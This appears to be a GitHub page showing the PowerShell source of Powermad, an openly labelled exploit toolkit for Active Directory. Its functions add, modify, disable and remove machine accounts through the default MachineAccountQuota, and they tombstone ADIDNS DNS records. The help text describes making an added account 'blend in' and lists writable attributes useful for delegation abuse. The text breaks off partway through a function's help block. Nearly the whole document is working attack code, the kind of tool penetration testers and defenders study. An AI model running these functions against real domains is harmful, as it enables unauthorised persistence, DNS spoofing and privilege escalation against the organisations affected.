Skip to content
Permalink
Branch: master
Find file Copy path
1 contributor

Users who have contributed to this file

4294 lines (3458 sloc) 126 KB
<#
Powermad - PowerShell MachineAccountQuota and DNS exploit tools
Author: Kevin Robertson (@kevin_robertson)
License: BSD 3-Clause
https://github.com/Kevin-Robertson/Powermad
#>
#region begin MachineAccountQuota Functions
function Disable-MachineAccount
{
<#
.SYNOPSIS
This function disables a machine account that was added through New-MachineAccount. This function should be
used with the same user that created the machine account.
Author: Kevin Robertson (@kevin_robertson)
License: BSD 3-Clause
.DESCRIPTION
Machine accounts added with New-MachineAccount cannot be deleted with an unprivileged user. Although users
can remove systems from a domain that they added using ms-DS-MachineAccountQuota, the machine account in AD is
just left in a disabled state. This function provides that ability by setting the AccountDisabled to true.
Ideally, the account is removed after elevating privilege.
.PARAMETER Credential
PSCredential object that will be used to disable the machine account.
.PARAMETER DistinguishedName
Distinguished name for the computers OU.
.PARAMETER Domain
The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController
parameter.
.PARAMETER DomainController
Domain controller to target. This parameter is mandatory on a non-domain attached system.
.PARAMETER MachineAccount
The username of the machine account that will be disabled.
.EXAMPLE
Disable a machine account named test.
Disable-MachineAccount -MachineAccount test
.LINK
https://github.com/Kevin-Robertson/Powermad
#>
[CmdletBinding()]
param
(
[parameter(Mandatory=$false)][String]$DistinguishedName,
[parameter(Mandatory=$false)][String]$Domain,
[parameter(Mandatory=$false)][String]$DomainController,
[parameter(Mandatory=$true)][String]$MachineAccount,
[parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential,
[parameter(ValueFromRemainingArguments=$true)]$invalid_parameter
)
if($invalid_parameter)
{
Write-Output "[-] $($invalid_parameter) is not a valid parameter"
throw
}
if(!$DomainController -or !$Domain)
{
try
{
$current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
}
catch
{
Write-Output "[-] $($_.Exception.Message)"
throw
}
}
if(!$DomainController)
{
$DomainController = $current_domain.PdcRoleOwner.Name
Write-Verbose "[+] Domain Controller = $DomainController"
}
if(!$Domain)
{
$Domain = $current_domain.Name
Write-Verbose "[+] Domain = $Domain"
}
if($MachineAccount.EndsWith('$'))
{
$machine_account = $MachineAccount.SubString(0,$MachineAccount.Length - 1)
}
else
{
$machine_account = $MachineAccount
}
if(!$DistinguishedName)
{
$distinguished_name = "CN=$machine_account,CN=Computers"
$DC_array = $Domain.Split(".")
ForEach($DC in $DC_array)
{
$distinguished_name += ",DC=$DC"
}
Write-Verbose "[+] Distinguished Name = $distinguished_name"
}
else
{
$distinguished_name = $DistinguishedName
}
if($Credential)
{
$directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password)
}
else
{
$directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name"
}
if(!$directory_entry.InvokeGet("AccountDisabled"))
{
try
{
$directory_entry.InvokeSet("AccountDisabled","True")
$directory_entry.SetInfo()
Write-Output "[+] Machine account $MachineAccount disabled"
}
catch
{
Write-Output "[-] $($_.Exception.Message)"
}
}
else
{
Write-Output "[-] Machine account $MachineAccount is already disabled"
}
if($directory_entry.Path)
{
$directory_entry.Close()
}
}
function Enable-MachineAccount
{
<#
.SYNOPSIS
This function enables a machine account that was disabled through Disable-MachineAccount. This function should
be used with the same user that created the machine account.
Author: Kevin Robertson (@kevin_robertson)
License: BSD 3-Clause
.DESCRIPTION
This function sets a machine account's AccountDisabled attribute to false.
.PARAMETER Credential
PSCredential object that will be used to disable the machine account.
.PARAMETER DistinguishedName
Distinguished name for the computers OU.
.PARAMETER Domain
The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController
parameter.
.PARAMETER DomainController
Domain controller to target. This parameter is mandatory on a non-domain attached system.
.PARAMETER MachineAccount
The username of the machine account that will be enabled.
.EXAMPLE
Enable a machine account named test.
Enable-MachineAccount -MachineAccount test
.LINK
https://github.com/Kevin-Robertson/Powermad
#>
[CmdletBinding()]
param
(
[parameter(Mandatory=$false)][String]$DistinguishedName,
[parameter(Mandatory=$false)][String]$Domain,
[parameter(Mandatory=$false)][String]$DomainController,
[parameter(Mandatory=$true)][String]$MachineAccount,
[parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential,
[parameter(ValueFromRemainingArguments=$true)]$invalid_parameter
)
if($invalid_parameter)
{
Write-Output "[-] $($invalid_parameter) is not a valid parameter"
throw
}
if(!$DomainController -or !$Domain)
{
try
{
$current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
}
catch
{
Write-Output "[-] $($_.Exception.Message)"
throw
}
}
if(!$DomainController)
{
$DomainController = $current_domain.PdcRoleOwner.Name
Write-Verbose "[+] Domain Controller = $DomainController"
}
if(!$Domain)
{
$Domain = $current_domain.Name
Write-Verbose "[+] Domain = $Domain"
}
if($MachineAccount.EndsWith('$'))
{
$machine_account = $MachineAccount.SubString(0,$MachineAccount.Length - 1)
}
else
{
$machine_account = $MachineAccount
}
if(!$DistinguishedName)
{
$distinguished_name = "CN=$machine_account,CN=Computers"
$DC_array = $Domain.Split(".")
ForEach($DC in $DC_array)
{
$distinguished_name += ",DC=$DC"
}
Write-Verbose "[+] Distinguished Name = $distinguished_name"
}
else
{
$distinguished_name = $DistinguishedName
}
if($Credential)
{
$directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password)
}
else
{
$directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name"
}
if($directory_entry.InvokeGet("AccountDisabled"))
{
try
{
$directory_entry.InvokeSet("AccountDisabled","False")
$directory_entry.SetInfo()
Write-Output "[+] Machine account $MachineAccount enabled"
}
catch
{
Write-Output "[-] $($_.Exception.Message)"
}
}
else
{
Write-Output "[-] Machine account $MachineAccount is already enabled"
}
if($directory_entry.Path)
{
$directory_entry.Close()
}
}
function Get-MachineAccountAttribute
{
<#
.SYNOPSIS
This function can return values populated in machine account attributes.
.DESCRIPTION
This function is primarily for use with New-MachineAccount and Set-MachineAccountAttribute.
Author: Kevin Robertson (@kevin_robertson)
License: BSD 3-Clause
.PARAMETER Credential
PSCredential object that will be used to read the attribute.
.PARAMETER DistinguishedName
Distinguished name for the computers OU.
.PARAMETER Domain
The targeted domain. This parameter is mandatory on a non-domain attached system. Note this parameter
requires a DNS domain name and not a NetBIOS version.
.PARAMETER DomainController
The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController
parameter.
.PARAMETER MachineAccount
The username of the machine account that will be modified.
.PARAMETER Attribute
The machine account attribute.
.EXAMPLE
Get the value of the description attribute from a machine account named test.
Get-MachineAccountAttribute -MachineAccount test -Attribute description
.LINK
https://github.com/Kevin-Robertson/Powermad
#>
[CmdletBinding()]
param
(
[parameter(Mandatory=$false)][String]$DistinguishedName,
[parameter(Mandatory=$false)][String]$Domain,
[parameter(Mandatory=$false)][String]$DomainController,
[parameter(Mandatory=$true)][String]$MachineAccount,
[parameter(Mandatory=$true)][String]$Attribute,
[parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential,
[parameter(ValueFromRemainingArguments=$true)]$invalid_parameter
)
if($invalid_parameter)
{
Write-Output "[-] $($invalid_parameter) is not a valid parameter"
throw
}
if(!$DomainController -or !$Domain)
{
try
{
$current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
}
catch
{
Write-Output "[-] $($_.Exception.Message)"
throw
}
}
if(!$DomainController)
{
$DomainController = $current_domain.PdcRoleOwner.Name
Write-Verbose "[+] Domain Controller = $DomainController"
}
if(!$Domain)
{
$Domain = $current_domain.Name
Write-Verbose "[+] Domain = $Domain"
}
if($MachineAccount.EndsWith('$'))
{
$machine_account = $MachineAccount.SubString(0,$MachineAccount.Length - 1)
}
else
{
$machine_account = $MachineAccount
}
if(!$DistinguishedName)
{
$distinguished_name = "CN=$machine_account,CN=Computers"
$DC_array = $Domain.Split(".")
ForEach($DC in $DC_array)
{
$distinguished_name += ",DC=$DC"
}
Write-Verbose "[+] Distinguished Name = $distinguished_name"
}
else
{
$distinguished_name = $DistinguishedName
}
if($Credential)
{
$directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password)
}
else
{
$directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name"
}
try
{
$output = $directory_entry.InvokeGet($Attribute)
}
catch
{
Write-Output "[-] $($_.Exception.Message)"
}
if($directory_entry.Path)
{
$directory_entry.Close()
}
return $output
}
function Get-MachineAccountCreator
{
<#
.SYNOPSIS
This function leverages the ms-DS-CreatorSID property on machine accounts to return a list
of usernames or SIDs and the associated machine account. The ms-DS-CreatorSID property is only
populated when a machine account is created by an unprivileged user. Note that SIDs will be returned
over usernames if SID to username lookups fail through System.Security.Principal.SecurityIdentifier.
.DESCRIPTION
This function can be used to see how close a user is to a ms-DS-MachineAccountQuota before
using New-MachineAccount.
Author: Kevin Robertson (@kevin_robertson)
License: BSD 3-Clause
.PARAMETER Credential
PSCredential object that will be used enumerate machine account creators.
.PARAMETER DistinguishedName
Distinguished name for the computers OU.
.PARAMETER Domain
The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController
parameter.
.PARAMETER DomainController
Domain controller to target. This parameter is mandatory on a non-domain attached system.
.EXAMPLE
Get the ms-DS-CreatorSID values for a domain.
Get-MachineAccountCreator
.LINK
https://github.com/Kevin-Robertson/Powermad
#>
[CmdletBinding()]
param
(
[parameter(Mandatory=$false)][String]$DistinguishedName,
[parameter(Mandatory=$false)][String]$Domain,
[parameter(Mandatory=$false)][String]$DomainController,
[parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential,
[parameter(ValueFromRemainingArguments=$true)]$invalid_parameter
)
if($invalid_parameter)
{
Write-Output "[-] $($invalid_parameter) is not a valid parameter"
throw
}
if(!$DomainController -or !$Domain)
{
try
{
$current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
}
catch
{
Write-Output "[-] $($_.Exception.Message)"
throw
}
}
if(!$DomainController)
{
$DomainController = $current_domain.PdcRoleOwner.Name
Write-Verbose "[+] Domain Controller = $DomainController"
}
if(!$Domain)
{
$Domain = $current_domain.Name
Write-Verbose "[+] Domain = $Domain"
}
if(!$DistinguishedName)
{
$distinguished_name = "CN=Computers"
$DC_array = $Domain.Split(".")
ForEach($DC in $DC_array)
{
$distinguished_name += ",DC=$DC"
}
Write-Verbose "[+] Distinguished Name = $distinguished_name"
}
else
{
$distinguished_name = $DistinguishedName
}
try
{
if($Credential)
{
$directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password)
}
else
{
$directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name"
}
$machine_account_searcher = New-Object DirectoryServices.DirectorySearcher
$machine_account_searcher.SearchRoot = $directory_entry
$machine_accounts = $machine_account_searcher.FindAll() | Where-Object {$_.properties.objectcategory -match "CN=computer"}
$creator_object_list = @()
ForEach($account in $machine_accounts)
{
$creator_SID_object = $account.properties."ms-ds-creatorsid"
if($creator_SID_object)
{
$creator_SID = (New-Object System.Security.Principal.SecurityIdentifier($creator_SID_object[0],0)).Value
$creator_object = New-Object PSObject
try
{
if($Credential)
{
$creator_account = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/<SID=$creator_SID>",$Credential.UserName,$credential.GetNetworkCredential().Password)
$creator_account_array = $($creator_account.distinguishedName).Split(",")
$creator_username = $creator_account_array[($creator_account_array.Length - 2)].SubString(3).ToUpper() + "\" + $creator_account_array[0].SubString(3)
}
else
{
$creator_username = (New-Object System.Security.Principal.SecurityIdentifier($creator_SID)).Translate([System.Security.Principal.NTAccount]).Value
}
Add-Member -InputObject $creator_object -MemberType NoteProperty -Name Creator $creator_username
}
catch
{
Add-Member -InputObject $creator_object -MemberType NoteProperty -Name Creator $creator_SID
}
Add-Member -InputObject $creator_object -MemberType NoteProperty -Name "Machine Account" $account.properties.samaccountname[0]
$creator_object_list += $creator_object
$creator_SID_object = $null
}
}
}
catch
{
Write-Output "[-] $($_.Exception.Message)"
throw
}
Write-Output $creator_object_list | Sort-Object -property @{Expression = {$_.Creator}; Ascending = $false}, "Machine Account" | Format-Table -AutoSize
if($directory_entry.Path)
{
$directory_entry.Close()
}
}
function New-MachineAccount
{
<#
.SYNOPSIS
This function adds a machine account with a specified password to Active Directory through an encrypted LDAP
add request. By default standard domain users can add up to 10 systems to AD (see ms-DS-MachineAccountQuota).
Author: Kevin Robertson (@kevin_robertson)
License: BSD 3-Clause
.DESCRIPTION
The main purpose of this function is to leverage the default ms-DS-MachineAccountQuota attribute setting which
allows all domain users to add up to 10 computers to a domain. The machine account and HOST SPNs are added
directly through an LDAP connection to a domain controller and not by attaching the host system to Active
Directory. This function does not modify the domain attachment and machine account associated with the host
system.
Note that you will not be able to remove the account without elevating privilege. You can however disable the
account as long as you maintain access to the account used to create the machine account.
.PARAMETER Credential
PSCredential object that will be used to create the machine account.
.PARAMETER Domain
The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController
parameter.
.PARAMETER DomainController
Domain controller to target. This parameter is mandatory on a non-domain attached system.
.PARAMETER DistinguishedName
Distinguished name for the computers OU.
.PARAMETER MachineAccount
The machine account that will be added.
.PARAMETER Password
The securestring of the password for the machine account.
.EXAMPLE
Add a machine account named test.
New-MachineAccount -MachineAccount test
.EXAMPLE
Add a machine account named test with a password of Summer2018!.
$machine_account_password = ConvertTo-SecureString 'Summer2018!' -AsPlainText -Force
New-MachineAccount -MachineAccount test -Password $machine_account_password
.LINK
https://github.com/Kevin-Robertson/Powermad
#>
[CmdletBinding()]
param
(
[parameter(Mandatory=$false)][String]$DistinguishedName,
[parameter(Mandatory=$false)][String]$Domain,
[parameter(Mandatory=$false)][String]$DomainController,
[parameter(Mandatory=$true)][String]$MachineAccount,
[parameter(Mandatory=$false)][System.Security.SecureString]$Password,
[parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential,
[parameter(ValueFromRemainingArguments=$true)]$invalid_parameter
)
if($invalid_parameter)
{
Write-Output "[-] $($invalid_parameter) is not a valid parameter"
throw
}
$null = [System.Reflection.Assembly]::LoadWithPartialName("System.DirectoryServices.Protocols")
if(!$Password)
{
$password = Read-Host -Prompt "Enter a password for the new machine account" -AsSecureString
}
$password_BSTR = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($password)
$password_cleartext = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($password_BSTR)
if(!$DomainController -or !$Domain)
{
try
{
$current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
}
catch
{
Write-Output "[-] $($_.Exception.Message)"
throw
}
}
if(!$DomainController)
{
$DomainController = $current_domain.PdcRoleOwner.Name
Write-Verbose "[+] Domain Controller = $DomainController"
}
if(!$Domain)
{
$Domain = $current_domain.Name
Write-Verbose "[+] Domain = $Domain"
}
$Domain = $Domain.ToLower()
$machine_account = $MachineAccount
if($MachineAccount.EndsWith('$'))
{
$sam_account = $machine_account
$machine_account = $machine_account.SubString(0,$machine_account.Length - 1)
}
else
{
$sam_account = $machine_account + "$"
}
Write-Verbose "[+] SAMAccountName = $sam_account"
if(!$DistinguishedName)
{
$distinguished_name = "CN=$machine_account,CN=Computers"
$DC_array = $Domain.Split(".")
ForEach($DC in $DC_array)
{
$distinguished_name += ",DC=$DC"
}
Write-Verbose "[+] Distinguished Name = $distinguished_name"
}
else
{
$distinguished_name = $DistinguishedName
}
$password_cleartext = [System.Text.Encoding]::Unicode.GetBytes('"' + $password_cleartext + '"')
$identifier = New-Object System.DirectoryServices.Protocols.LdapDirectoryIdentifier($DomainController,389)
if($Credential)
{
$connection = New-Object System.DirectoryServices.Protocols.LdapConnection($identifier,$Credential.GetNetworkCredential())
}
else
{
$connection = New-Object System.DirectoryServices.Protocols.LdapConnection($identifier)
}
$connection.SessionOptions.Sealing = $true
$connection.SessionOptions.Signing = $true
$connection.Bind()
$request = New-Object -TypeName System.DirectoryServices.Protocols.AddRequest
$request.DistinguishedName = $distinguished_name
$request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "objectClass","Computer")) > $null
$request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "SamAccountName",$sam_account)) > $null
$request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "userAccountControl","4096")) > $null
$request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "DnsHostName","$machine_account.$Domain")) > $null
$request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "ServicePrincipalName","HOST/$machine_account.$Domain",
"RestrictedKrbHost/$machine_account.$Domain","HOST/$machine_account","RestrictedKrbHost/$machine_account")) > $null
$request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "unicodePwd",$password_cleartext)) > $null
Remove-Variable password_cleartext
try
{
$connection.SendRequest($request) > $null
Write-Output "[+] Machine account $MachineAccount added"
}
catch
{
Write-Output "[-] $($_.Exception.Message)"
if($error_message -like '*Exception calling "SendRequest" with "1" argument(s): "The server cannot handle directory requests."*')
{
Write-Output "[!] User may have reached ms-DS-MachineAccountQuota limit"
}
}
if($directory_entry.Path)
{
$directory_entry.Close()
}
}
function Remove-MachineAccount
{
<#
.SYNOPSIS
This function removes a machine account with a privileged account.
Author: Kevin Robertson (@kevin_robertson)
License: BSD 3-Clause
.DESCRIPTION
Machine accounts added with MachineAccountQuote cannot be deleted with an unprivileged user. Although users
can remove systems from a domain that they added using ms-DS-MachineAccountQuota, the machine account in AD is
just left in a disabled state. This function provides the ability to delete a machine account once a
privileged account has been obtained.
.PARAMETER Credential
PSCredential object that will be used to delete the ADIDNS node.
.PARAMETER DistinguishedName
Distinguished name for the ADIDNS node.
.PARAMETER Domain
The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController
parameter.
.PARAMETER DomainController
Domain controller to target. This parameter is mandatory on a non-domain attached system.
.PARAMETER MachineAccount
The machine account that will be removed.
.EXAMPLE
Remove a machine account named test with domain admin credentials.
Remove-MachineAccount -MachineAccount test -Credential $domainadmin
.LINK
https://github.com/Kevin-Robertson/Powermad
#>
[CmdletBinding()]
param
(
[parameter(Mandatory=$false)][String]$DistinguishedName,
[parameter(Mandatory=$false)][String]$Domain,
[parameter(Mandatory=$false)][String]$DomainController,
[parameter(Mandatory=$true)][String]$MachineAccount,
[parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential,
[parameter(ValueFromRemainingArguments=$true)]$invalid_parameter
)
if($invalid_parameter)
{
Write-Output "[-] $($invalid_parameter) is not a valid parameter"
throw
}
if(!$DomainController -or !$Domain -or !$Zone)
{
try
{
$current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
}
catch
{
Write-Output "[-] $($_.Exception.Message)"
throw
}
}
if(!$DomainController)
{
$DomainController = $current_domain.PdcRoleOwner.Name
Write-Verbose "[+] Domain Controller = $DomainController"
}
if(!$Domain)
{
$Domain = $current_domain.Name
Write-Verbose "[+] Domain = $Domain"
}
if($MachineAccount.EndsWith('$'))
{
$machine_account = $MachineAccount.SubString(0,$MachineAccount.Length - 1)
}
else
{
$machine_account = $MachineAccount
}
if(!$DistinguishedName)
{
$distinguished_name = "CN=$machine_account,CN=Computers"
$DC_array = $Domain.Split(".")
ForEach($DC in $DC_array)
{
$distinguished_name += ",DC=$DC"
}
Write-Verbose "[+] Distinguished Name = $distinguished_name"
}
else
{
$distinguished_name = $DistinguishedName
}
if($Credential)
{
$directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password)
}
else
{
$directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name"
}
try
{
$directory_entry.psbase.DeleteTree()
Write-Output "[+] Machine account $MachineAccount removed"
}
catch
{
Write-Output "[-] $($_.Exception.Message)"
}
if($directory_entry.Path)
{
$directory_entry.Close()
}
}
function Set-MachineAccountAttribute
{
<#
.SYNOPSIS
This function can populate an attribute for an account that was added through New-MachineAccount. Write
access to the attribute is required. This function should be used with the same user that created the
machine account.
.DESCRIPTION
The user account that creates a machine account is granted write access to some attributes. These attributes
can be leveraged to help an added machine account blend in better or change values that were restricted by
validation when the account was created.
Here is a list of some of the usual write access enabled attributes:
AccountDisabled
description
displayName
DnsHostName
ServicePrincipalName
userParameters
userAccountControl
msDS-AdditionalDnsHostName
msDS-AllowedToActOnBehalfOfOtherIdentity
SamAccountName
Author: Kevin Robertson (@kevin_robertson)
License: BSD 3-Clause
.PARAMETER Append
Switch: Appends a value rather than overwriting.
.PARAMETER Credential
PSCredential object that will be used to modify the attribute.
.PARAMETER DistinguishedName
Distinguished name for the computers OU.
.PARAMETER Domain
The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController
parameter.
.PARAMETER DomainController
Domain controller to target. This parameter is mandatory on a non-domain attached system.
.PARAMETER MachineAccount
The username of the machine account that will be modified.
.PARAMETER Attribute
The machine account attribute.
.PARAMETER Value
The machine account attribute value.
.EXAMPLE
Set the description attribute to a value of "test value" on a machine account named test.
Set-MachineAccountAttribute -MachineAccount test -Attribute description -Value "test value"
.LINK
https://github.com/Kevin-Robertson/Powermad
#>
[CmdletBinding()]
param
(
[parameter(Mandatory=$false)][String]$DistinguishedName,
[parameter(Mandatory=$false)][String]$Domain,
[parameter(Mandatory=$false)][String]$DomainController,
[parameter(Mandatory=$true)][String]$MachineAccount,
[parameter(Mandatory=$true)][String]$Attribute,
[parameter(Mandatory=$true)]$Value,
[parameter(Mandatory=$false)][Switch]$Append,
[parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential,
[parameter(ValueFromRemainingArguments=$true)]$invalid_parameter
)
if($invalid_parameter)
{
Write-Output "[-] $($invalid_parameter) is not a valid parameter"
throw
}
if(!$DomainController -or !$Domain)
{
try
{
$current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
}
catch
{
Write-Output "[-] $($_.Exception.Message)"
throw
}
}
if(!$DomainController)
{
$DomainController = $current_domain.PdcRoleOwner.Name
Write-Verbose "[+] Domain Controller = $DomainController"
}
if(!$Domain)
{
$Domain = $current_domain.Name
Write-Verbose "[+] Domain = $Domain"
}
if($MachineAccount.EndsWith('$'))
{
$machine_account = $MachineAccount.SubString(0,$MachineAccount.Length - 1)
}
else
{
$machine_account = $MachineAccount
}
if(!$DistinguishedName)
{
$distinguished_name = "CN=$machine_account,CN=Computers"
$DC_array = $Domain.Split(".")
ForEach($DC in $DC_array)
{
$distinguished_name += ",DC=$DC"
}
Write-Verbose "[+] Distinguished Name = $distinguished_name"
}
else
{
$distinguished_name = $DistinguishedName
}
if($Credential)
{
$directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password)
}
else
{
$directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name"
}
try
{
if($Append)
{
$directory_entry.$Attribute.Add($Value) > $null
$directory_entry.SetInfo()
Write-Output "[+] Machine account $machine_account attribute $Attribute appended"
}
else
{
$directory_entry.InvokeSet($Attribute,$Value)
$directory_entry.SetInfo()
Write-Output "[+] Machine account $machine_account attribute $Attribute updated"
}
}
catch
{
Write-Output "[-] $($_.Exception.Message)"
}
if($directory_entry.Path)
{
$directory_entry.Close()
}
}
#endregion
#region begin DNS Functions
function Disable-ADIDNSNode
{
<#
.SYNOPSIS
This function can tombstone an ADIDNS node.
Author: Kevin Robertson (@kevin_robertson)
License: BSD 3-Clause
.DESCRIPTION
This function deletes a DNS record by setting an ADIDNS node's dnsTombstoned attribute to 'True' and the
dnsRecord attribute to a zero type array. Note that the node remains in AD.
.PARAMETER Credential
PSCredential object that will be used to tombstone the DNS node.
.PARAMETER DistinguishedName
Distinguished name for the ADIDNS zone. Do not include the node name.
.PARAMETER Domain
The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController
parameter.
.PARAMETER DomainController
Domain controller to target. This parameter is mandatory on a non-domain attached system.
.PARAMETER Node
The ADIDNS node name.
.PARAMETER Partition
Default = DomainDNSZones: (DomainDNSZones,ForestDNSZone,System) The AD partition name where the zone is stored.
.PARAMETER SOASerialNumber
The current SOA serial number for the target zone. Note, using this parameter will bypass connecting to a
DNS server and querying an SOA record.
.PARAMETER Zone
The ADIDNS zone.
.EXAMPLE
Tombstone a wildcard record.
Disable-ADIDNSNode -Node *
.LINK
https://github.com/Kevin-Robertson/Powermad
#>
[CmdletBinding()]
param
(
[parameter(Mandatory=$false)][String]$DistinguishedName,
[parameter(Mandatory=$false)][String]$Domain,
[parameter(Mandatory=$false)][String]$DomainController,
[parameter(Mandatory=$true)][String]$Node,
[parameter(Mandatory=$false)][ValidateSet("DomainDNSZones","ForestDNSZones","System")][String]$Partition = "DomainDNSZones",
[parameter(Mandatory=$false)][String]$Zone,
[parameter(Mandatory=$false)][Int32]$SOASerialNumber,
[parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential,
[parameter(ValueFromRemainingArguments=$true)]$invalid_parameter
)
if($invalid_parameter)
{
Write-Output "[-] $($invalid_parameter) is not a valid parameter"
throw
}
if(!$DomainController -or !$Domain -or !$Zone)
{
try
{
$current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
}
catch
{
Write-Output "[-] $($_.Exception.Message)"
throw
}
}
if(!$DomainController)
{
$DomainController = $current_domain.PdcRoleOwner.Name
Write-Verbose "[+] Domain Controller = $DomainController"
}
if(!$Domain)
{
$Domain = $current_domain.Name
Write-Verbose "[+] Domain = $Domain"
}
if(!$Zone)
{
$Zone = $current_domain.Name
Write-Verbose "[+] ADIDNS Zone = $Zone"
}
try
{
$SOASerialNumberArray = New-SOASerialNumberArray -DomainController $DomainController -Zone $Zone -SOASerialNumber $SOASerialNumber
}
catch
{
Write-Output "[-] $($_.Exception.Message)"
throw
}
if(!$DistinguishedName)
{
if($Partition -eq 'System')
{
$distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,CN=$Partition"
}
else
{
$distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,DC=$Partition"
}
$DC_array = $Domain.Split(".")
ForEach($DC in $DC_array)
{
$distinguished_name += ",DC=$DC"
}
Write-Verbose "[+] Distinguished Name = $distinguished_name"
}
else
{
$distinguished_name = "DC=$Node," + $DistinguishedName
}
if($Credential)
{
$directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password)
}
else
{
$directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name"
}
$timestamp = [int64](([datetime]::UtcNow.Ticks)-(Get-Date "1/1/1601").Ticks)
$timestamp = [System.BitConverter]::ToString([System.BitConverter]::GetBytes($timestamp))
$timestamp = $timestamp.Split("-") | ForEach-Object{[System.Convert]::ToInt16($_,16)}
[Byte[]]$DNS_record = 0x08,0x00,0x00,0x00,0x05,0x00,0x00,0x00 +
$SOASerialNumberArray[0..3] +
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 +
$timestamp
Write-Verbose "[+] DNSRecord = $([System.Bitconverter]::ToString($DNS_record))"
try
{
$directory_entry.InvokeSet('dnsRecord',$DNS_record)
$directory_entry.InvokeSet('dnsTombstoned',$true)
$directory_entry.SetInfo()
Write-Output "[+] ADIDNS node $Node tombstoned"
}
catch
{
Write-Output "[-] $($_.Exception.Message)"
}
if($directory_entry.Path)
{
$directory_entry.Close()
}
}
function Enable-ADIDNSNode
{
<#
.SYNOPSIS
This function can turn a tombstoned node back into a valid record.
Author: Kevin Robertson (@kevin_robertson)
License: BSD 3-Clause
.DESCRIPTION
This function can turn a tombstoned node back into a valid record. This function should be used in place of
New-ADIDNSNode when working with nodes that already exist due to being previously added.
.PARAMETER Attribute
The ADIDNS node attribute.
.PARAMETER Credential
PSCredential object that will be used to modify the attribute.
.PARAMETER Data
For most record types this will be the destination hostname or IP address. For TXT records this can be used
for data.
.PARAMETER DistinguishedName
Distinguished name for the ADIDNS zone. Do not include the node name.
.PARAMETER DNSRecord
DNSRecord byte array. See MS-DNSP for details on the dnsRecord structure.
.PARAMETER Domain
The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController
parameter.
.PARAMETER DomainController
Domain controller to target. This parameter is mandatory on a non-domain attached system.
.PARAMETER Node
The ADIDNS node name.
.PARAMETER Partition
Default = DomainDNSZones: (DomainDNSZones,ForestDNSZone,System) The AD partition name where the zone is stored.
.PARAMETER Port
SRV record port.
.PARAMETER Preference
MX record preference.
.PARAMETER Priority
SRV record priority.
.PARAMETER Tombstone
Switch: Sets the dnsTombstoned flag to true when the node is created. This places the node in a state that
allows it to be modified or fully tombstoned by any authenticated user.
.PARAMETER SOASerialNumber
The current SOA serial number for the target zone. Note, using this parameter will bypass connecting to a
DNS server and querying an SOA record.
.PARAMETER Static
Switch: Zeros out the timestamp to create a static record instead of a dynamic.
.PARAMETER TTL
Default = 600: DNS record TTL.
.PARAMETER Type
Default = A: DNS record type. This function supports A, AAAA, CNAME, DNAME, MX, PTR, SRV, and TXT.
